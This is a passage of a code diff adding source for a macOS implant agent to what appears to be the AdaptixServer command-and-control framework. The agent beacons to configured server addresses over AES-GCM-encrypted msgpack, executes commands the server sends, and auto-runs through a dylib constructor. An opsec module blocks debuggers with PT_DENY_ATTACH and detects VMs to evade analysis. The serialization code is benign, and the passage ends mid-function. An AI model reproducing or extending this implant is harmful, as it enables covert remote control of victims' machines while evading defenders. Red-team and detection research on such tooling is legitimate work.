mp_write_map(&outer, 2); + mp_write_kv_int(&outer, "id", INIT_PACK); + mp_write_kv_bin(&outer, "data", inner.buf.data, (uint32_t)inner.buf.len); + + mp_writer_free(&inner); + + // Encrypt with profile key + size_t enc_len; + uint8_t* encrypted = aes128_gcm_encrypt(outer.buf.data, outer.buf.len, enc_key, &enc_len); + mp_writer_free(&outer); + + if (!encrypted) return -1; + + *out_msg = encrypted; + *out_len = enc_len; + return 0; +} + +/// Parse Message{type: int8, object: [][]byte} from decrypted data +static int parse_message(const uint8_t* data, size_t len, + int8_t* msg_type, + const uint8_t*** objects, uint32_t** obj_sizes, + uint32_t* obj_count) { + mp_reader_t r; + mp_reader_init(&r, data, len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + *msg_type = 0; + *objects = (const uint8_t**)0; + *obj_sizes = (uint32_t*)0; + *obj_count = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + + if (klen == 6 && ax_memcmp(key, "object", 6) == 0) { + uint32_t arr_count; + if (mp_read_array(&r, &arr_count) != 0) return -1; + + *objects = (const uint8_t**)ax_malloc(arr_count * sizeof(uint8_t*)); + *obj_sizes = (uint32_t*)ax_malloc(arr_count * sizeof(uint32_t)); + *obj_count = arr_count; + + for (uint32_t j = 0; j < arr_count; j++) { + const uint8_t* bin_data; + uint32_t bin_len; + if (mp_read_bin(&r, &bin_data, &bin_len) != 0) return -1; + (*objects)[j] = bin_data; + (*obj_sizes)[j] = bin_len; + } + } else if (klen == 4 && ax_memcmp(key, "type", 4) == 0) { + int64_t v; + if (mp_read_int(&r, &v) != 0) return -1; + *msg_type = (int8_t)v; + } else { + mp_skip(&r); + } + } + return 0; +} + +/// Parse a single Command from msgpack: {code: uint, id: uint, data: []byte} +static int parse_command(const uint8_t* data, size_t len, + uint32_t* code, uint32_t* cmd_id, + const uint8_t** cmd_data, uint32_t* cmd_data_len) { + mp_reader_t r; + mp_reader_init(&r, data, len); + + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + *code = 0; *cmd_id = 0; *cmd_data = (uint8_t*)0; *cmd_data_len = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char* key; + uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + + if (klen == 4 && ax_memcmp(key, "code", 4) == 0) { + uint64_t v; mp_read_uint(&r, &v); *code = (uint32_t)v; + } else if (klen == 2 && ax_memcmp(key, "id", 2) == 0) { + uint64_t v; mp_read_uint(&r, &v); *cmd_id = (uint32_t)v; + } else if (klen == 4 && ax_memcmp(key, "data", 4) == 0) { + mp_read_bin(&r, cmd_data, cmd_data_len); + } else { + mp_skip(&r); + } + } + return 0; +} + +/// ---- Main entry point ---- + +static int agent_main(void); + +#ifdef BUILD_DYLIB +// Dylib/shellcode mode: constructor runs when dylib is loaded via dlopen() +// Equivalent to DllMain(DLL_PROCESS_ATTACH) on Windows beacon +__attribute__((constructor)) +static void dylib_entry(void) { + agent_main(); +} +#else +// Standard executable mode +int main(void) { + return agent_main(); +} +#endif + +static int agent_main(void) { + dbg("[1] dyld_resolver_init"); + // OPSEC: initialize dyld hash-based API resolver (MUST be first — opsec uses R_* macros) + if (dyld_resolver_init() != 0) { dbg("[!] dyld_resolver_init FAILED"); return 0; } + dbg("[2] dyld_resolver_init OK"); + + // OPSEC: anti-debug, VM detection + dbg("[3] opsec_check"); + if (opsec_check() != 0) { dbg("[!] opsec_check FAILED"); return 0; } + dbg("[4] opsec_check OK"); + + // Decode profiles from config + profile_t profiles[8]; + uint32_t profile_count = 0; + + // Debug: print PROFILE_COUNT to verify correct config.h was used +#ifdef DEBUG_TRACE + { + char pcbuf[64]; + int pci = 0; + const char* pcp = "[5a] PROFILE_COUNT="; + while (*pcp) pcbuf[pci++] = *pcp++; + int pc = PROFILE_COUNT; + if (pc == 0) { pcbuf[pci++] = '0'; } + else { + char nb[8]; int ni = 0; + while (pc > 0) { nb[ni++] = '0' + (pc % 10); pc /= 10; } + while (ni > 0) pcbuf[pci++] = nb[--ni]; + } + pcbuf[pci] = '\0'; + dbg(pcbuf); + } +#endif + dbg("[5b] before loop"); +#if PROFILE_COUNT > 0 + dbg("[5c] entering loop"); + for (int i = 0; i < PROFILE_COUNT && i < 8; i++) { +#ifdef DEBUG_TRACE + { + char ibuf[64]; + int ii = 0; + const char* ip = "[5d] profile i="; + while (*ip) ibuf[ii++] = *ip++; + ibuf[ii++] = '0' + i; + const char* sp = " size="; + while (*sp) ibuf[ii++] = *sp++; + uint32_t sz = enc_profile_sizes[i]; + char nb[12]; int ni = 0; + do { nb[ni++] = '0' + (sz % 10); sz /= 10; } while (sz > 0); + while (ni > 0) ibuf[ii++] = nb[--ni]; + ibuf[ii] = '\0'; + dbg(ibuf); + } +#endif + if (decode_profile(enc_profiles[i], enc_profile_sizes[i], &profiles[profile_count]) == 0) { + dbg("[5e] profile decoded OK"); + profile_count++; + } else { + dbg("[5e] profile decode FAILED"); + } + } +#endif + + if (profile_count == 0) { dbg("[!] profile_count == 0"); return 1; } + dbg("[6] profiles decoded OK"); + + // Create session info + mp_writer_t si_writer; + mp_writer_init(&si_writer, 512); + uint8_t session_key[16]; + dbg("[7] create_session_info"); + if (create_session_info(&si_writer, session_key) != 0) { dbg("[!] session_info FAILED"); return 1; } + dbg("[8] session_info OK"); + + // Generate random agent ID + uint8_t id_buf[4]; + ax_random_bytes(id_buf, 4); + uint32_t agent_id = ((uint32_t)id_buf[0] << 24) | ((uint32_t)id_buf[1] << 16) | + ((uint32_t)id_buf[2] << 8) | id_buf[3]; + + // Keep session info for reuse across profile rotations (Go agent does the same) + uint8_t* session_info_data = (uint8_t*)ax_malloc(si_writer.buf.len); + size_t session_info_len = si_writer.buf.len; + ax_memcpy(session_info_data, si_writer.buf.data, si_writer.buf.len); + mp_writer_free(&si_writer); + + // Initialize job context for async operations + jobs_init(&g_job_ctx); + g_job_ctx.agent_id = agent_id; + ax_memcpy(g_job_ctx.session_key, session_key, 16); + + // Build init message + uint32_t prof_idx = 0; + profile_t* prof = &profiles[prof_idx]; + + uint8_t* init_msg = (uint8_t*)0; + size_t init_msg_len = 0; + dbg("[9] build_init_msg"); + build_init_msg(agent_id, prof->type, + session_info_data, session_info_len, + prof->enc_key, + &init_msg, &init_msg_len); + + if (!init_msg) { dbg("[!] init_msg NULL"); ax_free(session_info_data, session_info_len); return 1; } + dbg("[10] init_msg OK, entering connect loop"); + + // Main reconnect loop + uint32_t addr_idx = 0; + + for (int attempt = 0; attempt < prof->conn_count && ACTIVE; attempt++) { + if (attempt > 0) { + R_sleep((unsigned int)prof->conn_timeout); + addr_idx++; + if (addr_idx >= prof->addr_count) { + addr_idx = 0; + // Rotate to next profile (same sessionInfo, different enc key) + prof_idx = (prof_idx + 1) % profile_count; + prof = &profiles[prof_idx]; + + ax_free(init_msg, init_msg_len); + build_init_msg(agent_id, prof->type, + session_info_data, session_info_len, + prof->enc_key, + &init_msg, &init_msg_len); + } + } + + // Update job context with current connection info + jobs_update_connection(&g_job_ctx, prof->addresses[addr_idx], + prof->banner_size, prof->enc_key, prof->type); + + // Connect + dbg("[11] conn_open"); + connector_t conn; + if (conn_open(&conn, prof->addresses[addr_idx]) != 0) { dbg("[!] conn_open FAILED"); continue; } + dbg("[12] connected OK"); + + // Reset attempt counter on successful connect + attempt = 0; + + // Read banner + if (prof->banner_size > 0) { + dbg("[13] discard banner"); + if (conn_discard(&conn, (size_t)prof->banner_size) != 0) { + dbg("[!] banner discard FAILED"); + conn_close(&conn); + continue; + } + } + + // Send init + dbg("[14] send init"); + if (conn_send_msg(&conn, init_msg, init_msg_len) != 0) { + dbg("[!] send init FAILED"); + conn_close(&conn); + continue; + } + dbg("[15] init sent OK, entering command loop"); + + // Command loop + while (ACTIVE) { + uint8_t* recv_data = (uint8_t*)0; + size_t recv_len = 0; + + if (conn_recv_msg(&conn, &recv_data, &recv_len) != 0) break; + + // Decrypt with session key + size_t plain_len; + uint8_t* plaintext = aes128_gcm_decrypt(recv_data, recv_len, session_key, &plain_len); + ax_free(recv_data, recv_len); + if (!plaintext) break; + + // Parse Message + int8_t msg_type; + const uint8_t** objects = (const uint8_t**)0; + uint32_t* obj_sizes = (uint32_t*)0; + uint32_t obj_count = 0; + + if (parse_message(plaintext, plain_len, &msg_type, &objects, &obj_sizes, &obj_count) != 0) { + ax_free(plaintext, plain_len); + break; + } + + // Build response Message — declaration order: type, object + mp_writer_t msg_writer; + mp_writer_init(&msg_writer, 1024); + mp_write_map(&msg_writer, 2); + + if (msg_type == 1 && obj_count > 0) { + // "type" first (declaration order) + mp_write_kv_int(&msg_writer, "type", 1); + + // "object" array + mp_write_str(&msg_writer, "object", 6); + mp_write_array(&msg_writer, obj_count); + + for (uint32_t i = 0; i < obj_count; i++) { + uint32_t code, cmd_id; + const uint8_t* cmd_data; + uint32_t cmd_data_len; + parse_command(objects[i], obj_sizes[i], + &code, &cmd_id, &cmd_data, &cmd_data_len); + + mp_writer_t cmd_resp; + mp_writer_init(&cmd_resp, 256); + + int ret = handle_command(code, cmd_id, cmd_data, cmd_data_len, &cmd_resp); + if (ret == -99) ACTIVE = 0; + + // Wrap response in Command{code, id, data} — server expects this format + mp_writer_t wrapped; + mp_writer_init(&wrapped, 256); + mp_write_map(&wrapped, 3); + mp_write_kv_uint(&wrapped, "code", code); + mp_write_kv_uint(&wrapped, "id", cmd_id); + mp_write_kv_bin(&wrapped, "data", cmd_resp.buf.data, (uint32_t)cmd_resp.buf.len); + + mp_write_bin(&msg_writer, wrapped.buf.data, (uint32_t)wrapped.buf.len); + mp_writer_free(&cmd_resp); + mp_writer_free(&wrapped); + } + } else { + // Empty response + mp_write_kv_int(&msg_writer, "type", 0); + mp_write_str(&msg_writer, "object", 6); + mp_write_array(&msg_writer, 0); + } + + // Encrypt and send + { + size_t enc_len; + uint8_t* encrypted = aes128_gcm_encrypt(msg_writer.buf.data, msg_writer.buf.len, + session_key, &enc_len); + mp_writer_free(&msg_writer); + + if (encrypted) { + conn_send_msg(&conn, encrypted, enc_len); + ax_free(encrypted, enc_len); + } + } + + // Cleanup + if (objects) ax_free((void*)objects, obj_count * sizeof(uint8_t*)); + if (obj_sizes) ax_free(obj_sizes, obj_count * sizeof(uint32_t)); + ax_free(plaintext, plain_len); + } + + conn_close(&conn); + } + + // Cleanup + ax_free(init_msg, init_msg_len); + ax_free(session_info_data, session_info_len); + for (uint32_t i = 0; i < profile_count; i++) + free_profile(&profiles[i]); + + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.c new file mode 100644 index 000000000..7698c98d1 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.c @@ -0,0 +1,535 @@ +#include "msgpack.h" + +/// ---- Writer ---- + +int mp_writer_init(mp_writer_t* w, size_t cap) { + return buf_init(&w->buf, cap); +} + +void mp_writer_free(mp_writer_t* w) { + buf_free(&w->buf); +} + +static int write_byte(mp_writer_t* w, uint8_t b) { + return buf_append(&w->buf, &b, 1); +} + +static int write_bytes(mp_writer_t* w, const void* data, size_t len) { + return buf_append(&w->buf, data, len); +} + +static int write_u16_be(mp_writer_t* w, uint16_t val) { + uint8_t b[2] = { (uint8_t)(val >> 8), (uint8_t)val }; + return write_bytes(w, b, 2); +} + +static int write_u32_be(mp_writer_t* w, uint32_t val) { + uint8_t b[4] = { + (uint8_t)(val >> 24), (uint8_t)(val >> 16), + (uint8_t)(val >> 8), (uint8_t)val + }; + return write_bytes(w, b, 4); +} + +int mp_write_map(mp_writer_t* w, uint32_t count) { + if (count <= 15) { + return write_byte(w, 0x80 | (uint8_t)count); // fixmap + } else if (count <= 0xFFFF) { + if (write_byte(w, 0xDE)) return -1; // map16 + return write_u16_be(w, (uint16_t)count); + } else { + if (write_byte(w, 0xDF)) return -1; // map32 + return write_u32_be(w, count); + } +} + +int mp_write_array(mp_writer_t* w, uint32_t count) { + if (count <= 15) { + return write_byte(w, 0x90 | (uint8_t)count); // fixarray + } else if (count <= 0xFFFF) { + if (write_byte(w, 0xDC)) return -1; // array16 + return write_u16_be(w, (uint16_t)count); + } else { + if (write_byte(w, 0xDD)) return -1; // array32 + return write_u32_be(w, count); + } +} + +int mp_write_nil(mp_writer_t* w) { + return write_byte(w, 0xC0); +} + +int mp_write_bool(mp_writer_t* w, bool val) { + return write_byte(w, val ? 0xC3 : 0xC2); +} + +int mp_write_uint(mp_writer_t* w, uint64_t val) { + if (val <= 0x7F) { + return write_byte(w, (uint8_t)val); // positive fixint + } else if (val <= 0xFF) { + if (write_byte(w, 0xCC)) return -1; // uint8 + return write_byte(w, (uint8_t)val); + } else if (val <= 0xFFFF) { + if (write_byte(w, 0xCD)) return -1; // uint16 + return write_u16_be(w, (uint16_t)val); + } else if (val <= 0xFFFFFFFF) { + if (write_byte(w, 0xCE)) return -1; // uint32 + return write_u32_be(w, (uint32_t)val); + } else { + if (write_byte(w, 0xCF)) return -1; // uint64 + uint8_t b[8] = { + (uint8_t)(val >> 56), (uint8_t)(val >> 48), + (uint8_t)(val >> 40), (uint8_t)(val >> 32), + (uint8_t)(val >> 24), (uint8_t)(val >> 16), + (uint8_t)(val >> 8), (uint8_t)val + }; + return write_bytes(w, b, 8); + } +} + +int mp_write_int(mp_writer_t* w, int64_t val) { + if (val >= 0) { + return mp_write_uint(w, (uint64_t)val); + } + if (val >= -32) { + return write_byte(w, (uint8_t)(val & 0xFF)); // negative fixint + } else if (val >= -128) { + if (write_byte(w, 0xD0)) return -1; // int8 + return write_byte(w, (uint8_t)(val & 0xFF)); + } else if (val >= -32768) { + if (write_byte(w, 0xD1)) return -1; // int16 + return write_u16_be(w, (uint16_t)(val & 0xFFFF)); + } else if (val >= -2147483648LL) { + if (write_byte(w, 0xD2)) return -1; // int32 + return write_u32_be(w, (uint32_t)(val & 0xFFFFFFFF)); + } else { + if (write_byte(w, 0xD3)) return -1; // int64 + uint64_t uval = (uint64_t)val; + uint8_t b[8] = { + (uint8_t)(uval >> 56), (uint8_t)(uval >> 48), + (uint8_t)(uval >> 40), (uint8_t)(uval >> 32), + (uint8_t)(uval >> 24), (uint8_t)(uval >> 16), + (uint8_t)(uval >> 8), (uint8_t)uval + }; + return write_bytes(w, b, 8); + } +} + +int mp_write_str(mp_writer_t* w, const char* str, uint32_t len) { + if (len <= 31) { + if (write_byte(w, 0xA0 | (uint8_t)len)) return -1; // fixstr + } else if (len <= 0xFF) { + if (write_byte(w, 0xD9)) return -1; // str8 + if (write_byte(w, (uint8_t)len)) return -1; + } else if (len <= 0xFFFF) { + if (write_byte(w, 0xDA)) return -1; // str16 + if (write_u16_be(w, (uint16_t)len)) return -1; + } else { + if (write_byte(w, 0xDB)) return -1; // str32 + if (write_u32_be(w, len)) return -1; + } + if (len > 0) { + return write_bytes(w, str, len); + } + return 0; +} + +int mp_write_bin(mp_writer_t* w, const uint8_t* data, uint32_t len) { + if (len <= 0xFF) { + if (write_byte(w, 0xC4)) return -1; // bin8 + if (write_byte(w, (uint8_t)len)) return -1; + } else if (len <= 0xFFFF) { + if (write_byte(w, 0xC5)) return -1; // bin16 + if (write_u16_be(w, (uint16_t)len)) return -1; + } else { + if (write_byte(w, 0xC6)) return -1; // bin32 + if (write_u32_be(w, len)) return -1; + } + if (len > 0) { + return write_bytes(w, data, len); + } + return 0; +} + +// Convenience: key + string value +int mp_write_kv_str(mp_writer_t* w, const char* key, const char* val) { + uint32_t klen = (uint32_t)ax_strlen(key); + uint32_t vlen = val ? (uint32_t)ax_strlen(val) : 0; + if (mp_write_str(w, key, klen)) return -1; + return mp_write_str(w, val ? val : "", vlen); +} + +int mp_write_kv_bin(mp_writer_t* w, const char* key, const uint8_t* data, uint32_t len) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_bin(w, data, len); +} + +int mp_write_kv_uint(mp_writer_t* w, const char* key, uint64_t val) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_uint(w, val); +} + +int mp_write_kv_int(mp_writer_t* w, const char* key, int64_t val) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_int(w, val); +} + +int mp_write_kv_bool(mp_writer_t* w, const char* key, bool val) { + uint32_t klen = (uint32_t)ax_strlen(key); + if (mp_write_str(w, key, klen)) return -1; + return mp_write_bool(w, val); +} + +/// ---- Reader ---- + +void mp_reader_init(mp_reader_t* r, const uint8_t* data, size_t len) { + r->data = data; + r->len = len; + r->pos = 0; +} + +static int read_byte(mp_reader_t* r, uint8_t* b) { + if (r->pos >= r->len) return -1; + *b = r->data[r->pos++]; + return 0; +} + +static int read_bytes(mp_reader_t* r, const uint8_t** out, size_t len) { + if (r->pos + len > r->len) return -1; + *out = r->data + r->pos; + r->pos += len; + return 0; +} + +static uint16_t read_u16_be(const uint8_t* p) { + return ((uint16_t)p[0] << 8) | p[1]; +} + +static uint32_t read_u32_be(const uint8_t* p) { + return ((uint32_t)p[0] << 24) | ((uint32_t)p[1] << 16) | + ((uint32_t)p[2] << 8) | p[3]; +} + +static uint64_t read_u64_be(const uint8_t* p) { + return ((uint64_t)p[0] << 56) | ((uint64_t)p[1] << 48) | + ((uint64_t)p[2] << 40) | ((uint64_t)p[3] << 32) | + ((uint64_t)p[4] << 24) | ((uint64_t)p[5] << 16) | + ((uint64_t)p[6] << 8) | p[7]; +} + +uint8_t mp_peek_type(mp_reader_t* r) { + if (r->pos >= r->len) return 0; + return r->data[r->pos]; +} + +int mp_read_map(mp_reader_t* r, uint32_t* count) { + uint8_t b; + if (read_byte(r, &b)) return -1; + + if ((b & 0xF0) == 0x80) { + *count = b & 0x0F; // fixmap + return 0; + } else if (b == 0xDE) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *count = read_u16_be(p); + return 0; + } else if (b == 0xDF) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *count = read_u32_be(p); + return 0; + } + return -1; +} + +int mp_read_array(mp_reader_t* r, uint32_t* count) { + uint8_t b; + if (read_byte(r, &b)) return -1; + + if ((b & 0xF0) == 0x90) { + *count = b & 0x0F; // fixarray + return 0; + } else if (b == 0xDC) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *count = read_u16_be(p); + return 0; + } else if (b == 0xDD) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *count = read_u32_be(p); + return 0; + } + return -1; +} + +int mp_read_nil(mp_reader_t* r) { + uint8_t b; + if (read_byte(r, &b)) return -1; + return (b == 0xC0) ? 0 : -1; +} + +int mp_read_bool(mp_reader_t* r, bool* val) { + uint8_t b; + if (read_byte(r, &b)) return -1; + if (b == 0xC3) { *val = true; return 0; } + if (b == 0xC2) { *val = false; return 0; } + return -1; +} + +int mp_read_uint(mp_reader_t* r, uint64_t* val) { + uint8_t b; + if (read_byte(r, &b)) return -1; + + if (b <= 0x7F) { + *val = b; // positive fixint + return 0; + } + + const uint8_t* p; + switch (b) { + case 0xCC: // uint8 + if (read_byte(r, &b)) return -1; + *val = b; + return 0; + case 0xCD: // uint16 + if (read_bytes(r, &p, 2)) return -1; + *val = read_u16_be(p); + return 0; + case 0xCE: // uint32 + if (read_bytes(r, &p, 4)) return -1; + *val = read_u32_be(p); + return 0; + case 0xCF: // uint64 + if (read_bytes(r, &p, 8)) return -1; + *val = read_u64_be(p); + return 0; + default: + return -1; + } +} + +int mp_read_int(mp_reader_t* r, int64_t* val) { + uint8_t b = mp_peek_type(r); + + // positive fixint or uint types + if (b <= 0x7F || b == 0xCC || b == 0xCD || b == 0xCE || b == 0xCF) { + uint64_t uval; + if (mp_read_uint(r, &uval)) return -1; + *val = (int64_t)uval; + return 0; + } + + // negative fixint + if ((b & 0xE0) == 0xE0) { + read_byte(r, &b); + *val = (int8_t)b; + return 0; + } + + read_byte(r, &b); + const uint8_t* p; + switch (b) { + case 0xD0: // int8 + if (read_byte(r, &b)) return -1; + *val = (int8_t)b; + return 0; + case 0xD1: // int16 + if (read_bytes(r, &p, 2)) return -1; + *val = (int16_t)read_u16_be(p); + return 0; + case 0xD2: // int32 + if (read_bytes(r, &p, 4)) return -1; + *val = (int32_t)read_u32_be(p); + return 0; + case 0xD3: // int64 + if (read_bytes(r, &p, 8)) return -1; + *val = (int64_t)read_u64_be(p); + return 0; + default: + return -1; + } +} + +int mp_read_str(mp_reader_t* r, const char** str, uint32_t* len) { + uint8_t b; + if (read_byte(r, &b)) return -1; + + if ((b & 0xE0) == 0xA0) { + *len = b & 0x1F; // fixstr + } else if (b == 0xD9) { + uint8_t l; + if (read_byte(r, &l)) return -1; + *len = l; + } else if (b == 0xDA) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *len = read_u16_be(p); + } else if (b == 0xDB) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *len = read_u32_be(p); + } else { + return -1; + } + + const uint8_t* p; + if (*len > 0) { + if (read_bytes(r, &p, *len)) return -1; + *str = (const char*)p; + } else { + *str = ""; + } + return 0; +} + +int mp_read_bin(mp_reader_t* r, const uint8_t** data, uint32_t* len) { + uint8_t b; + if (read_byte(r, &b)) return -1; + + if (b == 0xC4) { + uint8_t l; + if (read_byte(r, &l)) return -1; + *len = l; + } else if (b == 0xC5) { + const uint8_t* p; + if (read_bytes(r, &p, 2)) return -1; + *len = read_u16_be(p); + } else if (b == 0xC6) { + const uint8_t* p; + if (read_bytes(r, &p, 4)) return -1; + *len = read_u32_be(p); + } else { + return -1; + } + + if (*len > 0) { + if (read_bytes(r, data, *len)) return -1; + } else { + *data = (const uint8_t*)0; + } + return 0; +} + +// Skip one msgpack element (recursively for maps/arrays) +int mp_skip(mp_reader_t* r) { + uint8_t b; + if (read_byte(r, &b)) return -1; + + // positive fixint + if (b <= 0x7F) return 0; + // negative fixint + if ((b & 0xE0) == 0xE0) return 0; + + // fixmap + if ((b & 0xF0) == 0x80) { + uint32_t count = b & 0x0F; + for (uint32_t i = 0; i < count * 2; i++) + if (mp_skip(r)) return -1; + return 0; + } + // fixarray + if ((b & 0xF0) == 0x90) { + uint32_t count = b & 0x0F; + for (uint32_t i = 0; i < count; i++) + if (mp_skip(r)) return -1; + return 0; + } + // fixstr + if ((b & 0xE0) == 0xA0) { + uint32_t len = b & 0x1F; + r->pos += len; + return (r->pos <= r->len) ? 0 : -1; + } + + const uint8_t* p; + switch (b) { + case 0xC0: case 0xC2: case 0xC3: return 0; // nil, false, true + case 0xCC: r->pos += 1; break; // uint8 + case 0xCD: r->pos += 2; break; // uint16 + case 0xCE: r->pos += 4; break; // uint32 + case 0xCF: r->pos += 8; break; // uint64 + case 0xD0: r->pos += 1; break; // int8 + case 0xD1: r->pos += 2; break; // int16 + case 0xD2: r->pos += 4; break; // int32 + case 0xD3: r->pos += 8; break; // int64 + case 0xCA: r->pos += 4; break; // float32 + case 0xCB: r->pos += 8; break; // float64 + case 0xC4: // bin8 + if (read_byte(r, &b)) return -1; + r->pos += b; + break; + case 0xC5: // bin16 + if (read_bytes(r, &p, 2)) return -1; + r->pos += read_u16_be(p); + break; + case 0xC6: // bin32 + if (read_bytes(r, &p, 4)) return -1; + r->pos += read_u32_be(p); + break; + case 0xD9: // str8 + if (read_byte(r, &b)) return -1; + r->pos += b; + break; + case 0xDA: // str16 + if (read_bytes(r, &p, 2)) return -1; + r->pos += read_u16_be(p); + break; + case 0xDB: // str32 + if (read_bytes(r, &p, 4)) return -1; + r->pos += read_u32_be(p); + break; + case 0xDC: { // array16 + if (read_bytes(r, &p, 2)) return -1; + uint32_t count = read_u16_be(p); + for (uint32_t i = 0; i < count; i++) + if (mp_skip(r)) return -1; + return 0; + } + case 0xDD: { // array32 + if (read_bytes(r, &p, 4)) return -1; + uint32_t count = read_u32_be(p); + for (uint32_t i = 0; i < count; i++) + if (mp_skip(r)) return -1; + return 0; + } + case 0xDE: { // map16 + if (read_bytes(r, &p, 2)) return -1; + uint32_t count = read_u16_be(p); + for (uint32_t i = 0; i < count * 2; i++) + if (mp_skip(r)) return -1; + return 0; + } + case 0xDF: { // map32 + if (read_bytes(r, &p, 4)) return -1; + uint32_t count = read_u32_be(p); + for (uint32_t i = 0; i < count * 2; i++) + if (mp_skip(r)) return -1; + return 0; + } + default: + return -1; + } + return (r->pos <= r->len) ? 0 : -1; +} + +// Find a key in a map. r must be positioned after mp_read_map(). +// Returns 0 if found (r positioned at the value), -1 if not found. +int mp_find_key_str(mp_reader_t* r, uint32_t map_count, const char* key) { + size_t key_len = ax_strlen(key); + for (uint32_t i = 0; i < map_count; i++) { + const char* k; + uint32_t klen; + if (mp_read_str(r, &k, &klen)) return -1; + if (klen == key_len && ax_memcmp(k, key, klen) == 0) { + return 0; // found — reader is at the value + } + // skip value + if (mp_skip(r)) return -1; + } + return -1; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.h new file mode 100644 index 000000000..d8a68fb45 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.h @@ -0,0 +1,64 @@ +#ifndef MSGPACK_H +#define MSGPACK_H + +#include "types.h" +#include "crt.h" + +/// ---- Writer (encoder) ---- + +typedef struct { + buffer_t buf; +} mp_writer_t; + +int mp_writer_init(mp_writer_t* w, size_t cap); +void mp_writer_free(mp_writer_t* w); + +// Map & array +int mp_write_map(mp_writer_t* w, uint32_t count); +int mp_write_array(mp_writer_t* w, uint32_t count); + +// Primitives +int mp_write_nil(mp_writer_t* w); +int mp_write_bool(mp_writer_t* w, bool val); +int mp_write_uint(mp_writer_t* w, uint64_t val); +int mp_write_int(mp_writer_t* w, int64_t val); +int mp_write_str(mp_writer_t* w, const char* str, uint32_t len); +int mp_write_bin(mp_writer_t* w, const uint8_t* data, uint32_t len); + +// Convenience: write a map key (string) + value pair +int mp_write_kv_str(mp_writer_t* w, const char* key, const char* val); +int mp_write_kv_bin(mp_writer_t* w, const char* key, const uint8_t* data, uint32_t len); +int mp_write_kv_uint(mp_writer_t* w, const char* key, uint64_t val); +int mp_write_kv_int(mp_writer_t* w, const char* key, int64_t val); +int mp_write_kv_bool(mp_writer_t* w, const char* key, bool val); + +/// ---- Reader (decoder) ---- + +typedef struct { + const uint8_t* data; + size_t len; + size_t pos; +} mp_reader_t; + +void mp_reader_init(mp_reader_t* r, const uint8_t* data, size_t len); + +// Type checking +uint8_t mp_peek_type(mp_reader_t* r); +int mp_skip(mp_reader_t* r); // skip one element + +// Map & array +int mp_read_map(mp_reader_t* r, uint32_t* count); +int mp_read_array(mp_reader_t* r, uint32_t* count); + +// Primitives +int mp_read_nil(mp_reader_t* r); +int mp_read_bool(mp_reader_t* r, bool* val); +int mp_read_uint(mp_reader_t* r, uint64_t* val); +int mp_read_int(mp_reader_t* r, int64_t* val); +int mp_read_str(mp_reader_t* r, const char** str, uint32_t* len); // points into buffer +int mp_read_bin(mp_reader_t* r, const uint8_t** data, uint32_t* len); // points into buffer + +// Key lookup: find key in current map, returns 0 if found (cursor at value) +int mp_find_key_str(mp_reader_t* r, uint32_t map_count, const char* key); + +#endif // MSGPACK_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.c new file mode 100644 index 000000000..62d9f2bef --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.c @@ -0,0 +1,144 @@ +#include "opsec.h" +#include "syscalls_arm64.h" +#include "crt.h" +#include "dyld_resolve.h" + +#include +#include + +/// ── Anti-Debug ── +/// 1. PT_DENY_ATTACH via direct syscall — prevents debugger attachment +/// 2. Check P_TRACED flag via sysctl — detects existing debugger +/// 3. sysctl hw.model — detect Analysis VMs + +int opsec_anti_debug(void) { + // PT_DENY_ATTACH — prevent future debugger attachment + // Uses direct syscall to bypass any ptrace() hooks + sys_ptrace(PT_DENY_ATTACH, 0, (void*)0, 0); + + // Check if already being traced via sysctl(KERN_PROC) + // This uses a direct syscall to avoid hooked sysctl() + int mib[4]; + mib[0] = CTL_KERN; + mib[1] = KERN_PROC; + mib[2] = KERN_PROC_PID; + mib[3] = sys_getpid(); + + struct kinfo_proc info; + ax_memset(&info, 0, sizeof(info)); + size_t info_size = sizeof(info); + + // Direct syscall to sysctl + int ret = sys_sysctl(mib, 4, &info, &info_size, (void*)0, 0); + if (ret == 0) { + // Check P_TRACED flag + if (info.kp_proc.p_flag & P_TRACED) { + return -1; // Debugger detected + } + } + + return 0; +} + +/// ── VM Detection ── +/// Detects common virtualization/analysis environments on macOS: +/// 1. hw.model sysctl — "VirtualMac" (Parallels), VMware, etc. +/// 2. machdep.cpu.brand_string — "QEMU" or unusual CPU strings +/// 3. Check for known VM MAC address prefixes (via sysctl) +/// 4. Check for low hardware specs (analysis VMs often have minimal resources) + +int opsec_vm_detect(void) { + // Check hw.model via sysctl + int mib_model[2] = { CTL_HW, HW_MODEL }; + char model[128] = {0}; + size_t model_len = sizeof(model) - 1; + + if (sys_sysctl(mib_model, 2, model, &model_len, (void*)0, 0) == 0) { + // Known VM model strings + // "VirtualMac" — Parallels Desktop + if (model[0] == 'V' && model[1] == 'i' && model[2] == 'r' && + model[3] == 't' && model[4] == 'u' && model[5] == 'a' && + model[6] == 'l') { + return -1; + } + // "VMware" prefix + if (model[0] == 'V' && model[1] == 'M' && model[2] == 'w') { + return -1; + } + } + + // Check logical CPU count — analysis VMs often have 1-2 cores + int mib_ncpu[2] = { 